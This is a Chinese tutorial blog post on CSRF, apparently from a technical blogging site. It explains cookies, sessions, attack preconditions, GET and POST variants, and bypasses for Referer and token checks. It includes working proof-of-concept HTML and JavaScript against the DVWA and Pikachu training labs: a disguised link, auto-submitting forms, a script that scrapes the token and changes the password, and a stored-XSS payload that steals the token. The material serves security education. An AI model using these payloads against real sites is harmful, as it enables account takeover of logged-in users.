随笔——CSRF跨站请求伪造

一、前置基础知识:Cookie 与 Session

1.为什么需要 Cookie 和 Session?

        当你通过浏览器访问一个网站时,服务器其实并不知道你是谁。HTTP 协议本身是无状态的,这意味着每次请求都是独立的,服务器无法记住上一次是谁访问了自己。所以需要 Cookie 和 Session 配合来维持登录状态:Session 存储在服务器端,用于保存用户的身份、权限等会话信息;Cookie 则由浏览器保存,存放用于标识会话的 SessionID,每次请求时浏览器会自动携带 Cookie,服务器据此找到对应的 Session,从而识别出当前用户,实现持续登录与身份验证。

2.Cookie 

        Cookie是一个保存在客户机中的简单的文本文件,当我们使用自己的电脑,通过浏览器进行访问网页的时候,服务器就会生成一个证书然后返回给浏览器并写入我们的本地电脑,这个证书就是cookie。 Cookie可以帮助我们实现记录用户个人信息的功能,就是服务器颁发给浏览器的身份凭证

  • 核心用途:
    1. 会话状态管理:用户登录状态、购物车、游戏分数等会话信息记录(最常用)
    2. 个性化设置:用户自定义主题、界面配置等个性化内容
    3. 浏览器行为跟踪:用户访问行为分析、广告投放等场景

3.Session 

        Session 是保存在服务器端的会话对象,记录了用户的会话信息,是指用户与系统交互的整个会话过程,可以理解为服务器给每个用户创建的专属会话档案。

        Session 的核心依赖 SessionID,而 SessionID 通常存储在 Cookie 中,这也是 Session 和 Cookie 的核心关联。

4.cookie和session的区别?

对比CookieSession
存储位置客户端(浏览器本地)服务器端
存储容量单个 Cookie 最大 4KB,单站点通常限制 20 个以内无容量限制,可存储复杂数据类型
存储类型仅支持 ASCII 字符串,需编码后存储特殊内容支持任意数据类型(字符串、数字、对象、数组等)
安全性存储在客户端,易被窃取、篡改,安全性较低存储在服务器,仅传递 SessionID,安全性更高
服务器压力无服务器压力,数据存在客户端会话量大时,会占用服务器大量内存 / 存储资源

二、CSRF跨站请求伪造原理

1.CSRF是什么?

        CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”一键攻击或者“Session Riding”会话挟持,通常缩写为CSRF,是一种针对 Web 网站的恶意利用方式。

        CSRF是通过伪装用户的请求来利用网站,利用网站漏洞从用户那里恶意盗取信息。简单来说就是:攻击者盗用了用户的身份,以用户的名义,向目标网站发送用户非本意的恶意请求,而目标网站因信任 Cookie 对应的用户身份,执行了该请求

2.CSRF攻击原理

        CSRF攻击就是利用网站对用户网页浏览器的信任,挟持用户当前已登陆的Web应用程序,去执行并非用户本意的操作。

        在浏览器中cookie在一段时间内是不会过期(不关闭或者退出浏览器),再次访问都会默认登录,这个应该都有体验。如果在cookie存在期间,通过构造csrf脚本或包含csrf脚本的链接发送给用户,得到信息后,再伪造成用户身份,执行相关操作。

3.CSRF 攻击的两个必要前提

        想要完成一次 CSRF 攻击,受害者必须同时满足以下两个条件,缺一不可

  1. 用户登录了受信任的目标网站 A,且在浏览器本地生成了有效的、未过期的 Cookie
  2. 用户在不登出网站 A 的情况下,在同一个浏览器里,访问了攻击者构造的恶意网站 B

        只要用户不满足其中任何一个条件,CSRF 攻击就无法成功。比如用户没有登录目标网站、登录后已经退出、Cookie 已经过期,或者没有访问恶意网站,攻击者都无法完成攻击。

4.CSRF 攻击的三大核心构成要素

        一次完整的 CSRF 攻击,必须由三个核心部分组成,环环相扣,缺一不可:

(1)目标网站存在 CSRF 漏洞 

        目标站点必须存在一个数据修改 / 新增 / 删除的敏感操作,且该操作在提交到后台时,仅通过 Cookie 验证用户身份,没有提供任何其他不可伪造的身份校验参数

        这类漏洞最常见的场景:用户密码修改、收货地址修改、后台管理员账号新增、转账支付、数据库备份、路由器配置修改等。

(2)攻击者伪装数据操作请求的恶意链接或者页面

        攻击者需要针对目标敏感操作,构造对应的恶意请求,伪装成正常的业务请求。

  • 针对 GET 型请求:直接构造带参数的恶意 URL,伪装成中奖链接、福利链接等;
  • 针对 POST 型请求:构造自动提交的表单页面,隐藏参数,用户访问时自动发送请求。
(3)诱使用户主动访问或登录恶意链接,触发非法操作

        攻击者需要通过社工手段,诱使用户在已登录目标网站、Cookie 有效的状态下,访问恶意链接 / 页面。用户点击链接、访问页面的动作,就是触发攻击的开关,浏览器会自动携带目标网站的 Cookie,向目标网站发送恶意请求,而目标网站会认为这是用户本人的合法操作,直接执行,最终完成攻击。

5.CSRF常见场景

        CSRF漏洞容易出现的地方:    

  • 修改密码的地方    
  • 添加用户的地方    
  • 数据库备份的地方数据交易、支付等    
  • 等其它一些对话框钓鱼页面    

💡 Tip:CSRF一般与XSS结合使用,xss我会单独再写一篇,大家可以去看看~

  • XSS 漏洞可以直接窃取用户的 Cookie,实现会话劫持,也可以读取页面中的 CSRF Token,绕过 Token 防御;
  • 利用 XSS,攻击者可以直接在目标网站的页面里注入 CSRF 攻击代码,不需要再搭建恶意网站,也不需要诱使用户访问第三方站点,攻击更隐蔽,成功率更高。

三、CSRF的类型

        常见的CSRF攻击主要有两种类型,get类型和post类型。

1.什么是 GET 请求?

        GET 型 CSRF 是 CSRF 中最常见、危害最大、利用门槛最低的一种类型,绝大多数 CSRF 漏洞都属于这个类型。

        GET 请求是从服务器获取数据,是幂等的 —— 多次执行相同的 GET 请求,不会对服务器数据产生副作用,因此可以被浏览器缓存,下次有同样的请求就直接从缓存读取,不用浏览器再次发送请求。

        但很多开发错误地用 GET 请求处理敏感操作,比如改密码、转账、修改个人信息,并且把所有参数都直接拼接在 URL 里。攻击者只需要构造一个完整的带恶意参数的 URL,诱使用户点击,就能触发攻击。

        因此get请求一般是通过url,url里面拼接上参数

2.CSRF实例分享--get类型

        GET类型的CSRF利用非常简单,只需要一个HTTP请求。

(1)登录dvwa平台,在csrf修改密码为123456

(2)用bp抓包,可以看到get请求包,复制url写个简单的html文件

<html>
<body>
<a href=http://dvwa:6001/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#
>0元充值</a>
</body>
</html>

(3)放包,密码修改成功(这次正常的修改密码)

(4)生成链接,点击链接后,在dvwa未退出登录的情况下,直接修改了密码,登录密码就被修改了。

3.什么是post?

        很多开发意识到了 GET 型的风险,把敏感操作改成了 POST 请求,参数放在请求体里,不再拼接在 URL 里,以为这样就能防御 CSRF,但实际上,POST 型 CSRF 同样可以轻松实现,只是攻击门槛比 GET 型稍高一点。

        POST 请求是让服务器执行数据修改类操作,是非幂等的,不能被缓存,参数放在 HTTP 请求体里,无法通过 URL 直接构造。

        但攻击者可以通过 HTML 构造一个隐藏的自动提交表单,表单的action指向目标网站的敏感操作接口,method设置为 POST,表单里的 input 字段对应请求的参数,并且设置为隐藏。再通过 JS 代码,让页面加载时自动提交这个表单,用户访问页面时,就会自动向目标网站发送 POST 请求,浏览器同样会自动携带目标网站的 Cookie。

        所以post请求一般都是表单提交,可以在body里面携带数据。

4.CSRF实例分享--post类型

(1)进入pikachu靶场post 登录信息,点击修改个人信息,用bp抓包,用bp自带的csrf poc的功能写一个csrf的HTML文件。

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://pikachu:6002/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
      <input type="hidden" name="sex" value="girl" />
      <input type="hidden" name="phonenum" value="123456789" />
      <input type="hidden" name="add" value="123" />
      <input type="hidden" name="email" value="123&#64;qq&#46;com" />
      <input type="hidden" name="submit" value="submit" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

(2)访问该表单后,个人信息就发生了变化

四、CSRF实验--referer验证

1.referer校验原理

        HTTP 请求头中的Referer字段,记录了该 HTTP 请求的来源地址。网站通过校验Referer的值,判断请求是否来自本站的合法域名,只有来源是本站的请求,才允许执行,否则直接拒绝。

        这种校验方式的优点是实现简单,只需要在拦截器里统一校验,不需要修改现有业务代码和逻辑,无业务侵入性。

2.常见绕过方式

(1)校验规则不严的绕过

        很多网站的校验规则写的非常宽松,比如只判断Referer是否包含本站的域名,而不是完整匹配。攻击者可以把目标域名放在自己的 URL 里,比如构造恶意页面地址为http://attacker.com/www.mybank.com/attack.html,此时请求的Referer里就会包含www.mybank.com,直接绕过校验。

(2)空 Referer 绕过

        直接在浏览器地址栏输入URL、新窗口打开页面、通过<iframe>加载的部分请求,是不会携带Referer字段的,也就是空Referer。很多网站的校验逻辑是如果有 Referer 就校验,没有就直接放行,攻击者只需要构造不携带Referer的请求,就能直接绕过。

(3)浏览器禁用 Referer 绕过

        用户可以通过浏览器设置,让浏览器在发送请求时不再提供 Referer 字段,此时网站的校验会直接拦截合法用户的请求,为了不影响正常业务,绝大多数网站都不敢做强校验,只能放行无 Referer的请求,给了攻击者可乘之机。

(4)低版本浏览器伪造 Referer

        在一些低版本的浏览器中,存在可以伪造Referer字段的漏洞,攻击者可以通过JS代码,把请求的 Referer 伪造成目标网站的域名,直接绕过校验。

3.CSRF实验-中级referer验证

        很多网站的校验规则写的非常宽松,比如只判断Referer是否包含本站的域名,而不是完整匹配。

(1)修改安全等级为中级,然后修改dvwa密码为123456,bp抓包分析

        生成html文件

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://dvwa:6001/vulnerabilities/csrf/">
      <input type="hidden" name="password&#95;new" value="123456" />
      <input type="hidden" name="password&#95;conf" value="123456" />
      <input type="hidden" name="Change" value="Change" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

(2)访问该表单,在点击提交的时候抓包

修改失败,为什么呢?我们来看一下抓到的两个包他们之间的区别。

        第一包正常修改的包多了一个Referer: http://dvwa:6001/vulnerabilities/csrf/,而我们自己的写的html访问抓包没有referer,这个时候把referer加上去,放包再看看结果。

        在这里我们就明白了它是通过验证referer的方式来绕过csrf的,最后可以去一点点删除referer的内容,看看还会有什么变化?

        完整的Referer: http://dvwa:6001/vulnerabilities/csrf/

        最后只有Referer:dvwa:6001时,还可以修改成功,是Host: dvwa:6001的内容。那么中级的csrf可以绕过,高级的如何绕过呢?可以思考一下这个问题~

4.CSRF实验-高级referer验证

        DVWA High 级 CSRF 不再是单纯的 Referer 验证,而是Token与Referer 双重防护必须借助同域XSS盗取用户Token,再带Token发起CSRF改密码,仅改Referer已无法绕过。

(1)正常抓包,密码填 123456,确认 123456,点 Change,Burp 抓到改密码请求。

出现user_token,刷新页面,查看回显包

根据修改密码的请求包编写成html文件,使用user_token请求 /vulnerabilities/csrf/ 返回包出现        <input type='hidden' name='user_token' value='c251f71b5a39102ab903e668a8f8f4e0' />,编写html文件自动获取token自动提交改密码

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>DVWA CSRF High Attack (攻击的dvwa的ip地址)</title>
</head>
<body>
    <h3>正在对 攻击的dvwa的ip地址 执行 CSRF 攻击(High 级别)...</h3>
    <div id="log"></div>
    <script>
        (async function() {
            const log = (msg) => document.getElementById('log').innerHTML += `<p>${msg}</p >`;
            const BASE_URL = 'http://127.0.0.1/vulnerabilities/csrf/';
            
            try {
                log('获取 CSRF 页面以提取 token...');
                const res = await fetch(BASE_URL, { credentials: 'include' });
                const html = await res.text();
                const match = html.match(/name=["']user_token["']\s+value=["']([^"']+)["']/i);
                if (!match) throw new Error('未找到 user_token');
                const token = match[1];
                log(`Token 获取成功: ${token}`);
                
                const params = new URLSearchParams({
                    password_new: 'hacker123',
                    password_conf: 'hacker123',
                    Change: 'Change',
                    user_token: token
                });
                log('正在提交密码修改请求...');
                await fetch(BASE_URL + '?' + params.toString(), {
                    method: 'GET',
                    credentials: 'include'
                });
                log('攻击完成!密码已被修改为 hacker123');
            } catch (e) {
                log('攻击失败: ' + e.message);
            }
        })();
    </script>
</body>
</html>

在网页访问编写好的html文件dvwacsrf.html(如果代码不好使,可以自己调试一下,确定url是否正确)

密码修改成功,重新登录验证密码。

五、CSRF实验--token验证

1.校验原理

        Token 是目前防御 CSRF 最主流、最有效的方案,原理是:服务器为每个用户会话生成一个唯一、随机、不可预测的 Token 字符串,用户访问页面时,服务器把 Token 放在页面的表单里,用户提交敏感操作请求时,必须同时携带这个 Token,服务器会校验 Token 是否和当前用户会话匹配,只有匹配成功,才会执行操作。

        Token 能防御 CSRF 的核心原因是:Token 只存在于目标网站的页面中,攻击者无法获取到受害者的有效 Token,也就无法构造合法的请求,即使请求携带了有效的 Cookie,没有正确的 Token,也会被服务器直接拒绝。

2.常见绕过与方式

(1)Token 固定不变的绕过

        很多开发错误地给每个用户生成一个固定的 Token,长期不变,甚至所有用户用同一个 Token。攻击者只需要自己登录网站,获取一个有效的 Token,把这个 Token 构造到恶意请求里,就能直接绕过校验,因为服务器只校验 Token 是否有效,不校验 Token 是否和当前请求的 Cookie 匹配。

(2)Token 校验不严的绕过

        部分网站的后端只校验请求里是否携带了 Token,不校验 Token 的有效性和归属,攻击者随便填一个 Token,就能绕过校验;还有的网站只在 POST 请求里校验 Token,GET 请求不校验,攻击者把 POST 接口改成 GET 请求,就能绕过。

(3)结合 XSS 漏洞绕过

        这是最常见、最有效的 Token 绕过方式。Token 通常放在页面的 HTML 代码里,攻击者通过 XSS 漏洞,注入 JS 代码,直接读取页面里的 Token 值,然后用这个 Token 构造 CSRF 请求,完美绕过 Token 校验。

3.CSRF实验-token验证

        pikachu的CSRF要借助存储型XSS。

登录csrf,查看用户信息

打开存储型XSS

把代码存入留言板

<script>
fetch('../csrf/csrftoken/token_get_edit.php', {credentials: 'include'})
  .then(r => r.text())
  .then(h => {
    let m = h.match(/name="token"\s+value="([^"]+)"/i);
    if (!m) throw 'Token not found';
    let token = encodeURIComponent(m[1]);
    let url = `../csrf/csrftoken/token_get_edit.php?sex=female&phonenum=13900010000&add=sy1&email=h@p.com&token=${token}&submit=submit`;
    fetch(url, {credentials: 'include'});
  })
  .catch(e => console.log(e));
</script>
 

再次访问csrf用户信息就会被改变。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值